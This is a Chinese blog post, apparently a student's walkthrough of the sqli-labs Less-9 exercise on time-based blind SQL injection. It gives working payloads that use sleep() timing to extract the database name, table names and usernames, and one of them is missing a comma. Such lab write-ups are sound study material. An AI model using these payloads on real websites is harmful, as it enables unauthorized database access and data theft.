• sqli(9)


    less9--基于时间的GET单引号盲注

    前言

    重写博客是为了赶作业,现在已经下定决心考研了。以后这个博客只会记录我的数学、英语、数据结构学习记录了。我还是

    想使劲冲一把,但是最近羁绊太多。很多作业(除了渗透),我都觉得很鸡肋。算了,放宽心。comfortable。

    0x01 基本知识学习

    无论输入什么都是原界面:

    • 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
    • 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。

    0x02 实验开始

    1.通过时间盲注得出本条语句是否正确,返回的时间和设定的时间差不多则语句是正确的。

    原界面:

     2.开始暴数据库名

    ?id=1' and if(ascii(substr(database(),1,1))>115,0,sleep(5))--+

    ASCII码大于115是正确的,说明取115=“s”

    3.暴表名

    ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 0,sleep(5))

    4.爆字段和构造方法

    ?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>100, 0,sleep(5)) #

     记住,明年明年和你竞争的人有400万。。。

  • 相关阅读:
    Qt中的QString和QStringList常用方法
    Qt界面编程基本操作
    vs+qt编程相关
    C++的一些关键字用法
    Java学习-hashcode综合练习
    Java学习-HashMap练习
    Java学习-HashSet练习
    Java学习-HashMap性能简单测试
    Java学习-排序二叉树性能简单测试
    java学习-排序二叉树
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/12068300.html
Copyright © 2020-2023  润新知